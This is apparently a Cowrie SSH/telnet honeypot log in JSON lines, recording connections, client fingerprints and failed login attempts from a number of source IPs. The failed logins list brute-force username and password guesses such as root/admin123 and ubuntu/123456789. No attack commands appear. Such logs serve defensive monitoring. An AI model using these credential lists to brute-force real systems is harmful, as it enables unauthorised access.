{"eventid":"cowrie.login.failed","username":"deploy","password":"password","message":"login attempt [deploy/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:14.972140Z","src_ip":"91.92.40.153","session":"abc3dda7fbf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:16.597568Z","src_ip":"91.92.40.153","session":"abc3dda7fbf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.214.154.50","src_port":59688,"dst_ip":"159.203.135.109","dst_port":22,"session":"fdf819e29642","protocol":"ssh","message":"New connection: 85.214.154.50:59688 (159.203.135.109:22) [session: fdf819e29642]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:16.861670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:16.865386Z","src_ip":"85.214.154.50","session":"fdf819e29642","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:16.956690Z","src_ip":"85.214.154.50","session":"fdf819e29642","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.7.26.153","src_port":55138,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d5a72ac64a7","protocol":"ssh","message":"New connection: 191.7.26.153:55138 (159.203.135.109:22) [session: 3d5a72ac64a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:17.209298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:17.213301Z","src_ip":"191.7.26.153","session":"3d5a72ac64a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"roger_ver","password":"qwerty","message":"login attempt [roger_ver/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:17.232585Z","src_ip":"85.214.154.50","session":"fdf819e29642","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:17.336498Z","src_ip":"191.7.26.153","session":"3d5a72ac64a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":57558,"dst_ip":"159.203.135.109","dst_port":23,"session":"103564bc1aa0","protocol":"telnet","message":"New connection: 170.64.224.25:57558 (159.203.135.109:23) [session: 103564bc1aa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:17.358117Z"}
{"eventid":"cowrie.login.failed","username":"tiny","password":"tiny","message":"login attempt [tiny/tiny] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:17.875845Z","src_ip":"191.7.26.153","session":"3d5a72ac64a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:18.329258Z","src_ip":"85.214.154.50","session":"fdf819e29642","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:19.001519Z","src_ip":"191.7.26.153","session":"3d5a72ac64a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":57058,"dst_ip":"10.17.0.5","dst_port":22,"session":"175591d1df02","protocol":"ssh","message":"New connection: 91.92.40.153:57058 (10.17.0.5:22) [session: 175591d1df02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:19.235095Z"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:19.419512Z","src_ip":"139.99.74.35","session":"0378af760325","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:19.547336Z","src_ip":"91.92.40.153","session":"175591d1df02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:19.550343Z","src_ip":"91.92.40.153","session":"175591d1df02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":45814,"dst_ip":"159.203.135.109","dst_port":22,"session":"268e77e525c0","protocol":"ssh","message":"New connection: 139.99.74.35:45814 (159.203.135.109:22) [session: 268e77e525c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:19.653768Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:21.637140Z","src_ip":"91.92.40.153","session":"175591d1df02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:23.195603Z","src_ip":"91.92.40.153","session":"175591d1df02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:24.430157Z","src_ip":"139.99.74.35","session":"268e77e525c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":36638,"dst_ip":"159.203.135.109","dst_port":22,"session":"e01845aff116","protocol":"ssh","message":"New connection: 139.99.74.35:36638 (159.203.135.109:22) [session: e01845aff116]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:24.655536Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":38992,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ee609eaab6d","protocol":"ssh","message":"New connection: 91.92.40.153:38992 (10.17.0.5:22) [session: 6ee609eaab6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:25.143719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:25.494175Z","src_ip":"91.92.40.153","session":"6ee609eaab6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:25.496956Z","src_ip":"91.92.40.153","session":"6ee609eaab6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian","message":"login attempt [debian/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:27.996512Z","src_ip":"91.92.40.153","session":"6ee609eaab6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:29.436457Z","src_ip":"139.99.74.35","session":"e01845aff116","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:29.513263Z","src_ip":"91.92.40.153","session":"6ee609eaab6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":36642,"dst_ip":"159.203.135.109","dst_port":22,"session":"19a480baa45d","protocol":"ssh","message":"New connection: 139.99.74.35:36642 (159.203.135.109:22) [session: 19a480baa45d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:29.665795Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":39046,"dst_ip":"10.17.0.5","dst_port":22,"session":"c126196a0230","protocol":"ssh","message":"New connection: 91.92.40.153:39046 (10.17.0.5:22) [session: c126196a0230]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:32.067591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:32.209051Z","src_ip":"91.92.40.153","session":"c126196a0230","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:32.212200Z","src_ip":"91.92.40.153","session":"c126196a0230","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456789","message":"login attempt [ubuntu/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:32.652823Z","src_ip":"91.92.40.153","session":"c126196a0230","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":46558,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a359b8e201d","protocol":"ssh","message":"New connection: 160.187.174.22:46558 (159.203.135.109:22) [session: 0a359b8e201d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:33.688751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:33.692616Z","src_ip":"160.187.174.22","session":"0a359b8e201d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:33.771742Z","src_ip":"91.92.40.153","session":"c126196a0230","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:33.925140Z","src_ip":"160.187.174.22","session":"0a359b8e201d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:34.447348Z","src_ip":"139.99.74.35","session":"19a480baa45d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A123456a","message":"login attempt [root/A123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:34.640399Z","src_ip":"160.187.174.22","session":"0a359b8e201d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":54090,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf7125c0e2ca","protocol":"ssh","message":"New connection: 139.99.74.35:54090 (159.203.135.109:22) [session: bf7125c0e2ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:34.676485Z"}
{"eventid":"cowrie.session.closed","duration":58.71183657646179,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:34.819278Z","src_ip":"170.64.224.25","session":"7c4762d59efe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:35.875050Z","src_ip":"160.187.174.22","session":"0a359b8e201d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":80.8010048866272,"message":"Connection lost after 80 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:36.236073Z","src_ip":"170.64.224.25","session":"020407be1cbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.110.201","src_port":47352,"dst_ip":"159.203.135.109","dst_port":22,"session":"fda02c32cfa0","protocol":"ssh","message":"New connection: 94.159.110.201:47352 (159.203.135.109:22) [session: fda02c32cfa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:36.469422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:36.473768Z","src_ip":"94.159.110.201","session":"fda02c32cfa0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:36.589941Z","src_ip":"94.159.110.201","session":"fda02c32cfa0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"160791","message":"login attempt [root/160791] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:36.944537Z","src_ip":"94.159.110.201","session":"fda02c32cfa0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:38.062951Z","src_ip":"94.159.110.201","session":"fda02c32cfa0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":35038,"dst_ip":"10.17.0.5","dst_port":22,"session":"2dbd905ead61","protocol":"ssh","message":"New connection: 91.92.40.153:35038 (10.17.0.5:22) [session: 2dbd905ead61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:38.140082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:38.239449Z","src_ip":"91.92.40.153","session":"2dbd905ead61","protocol":"ssh"}
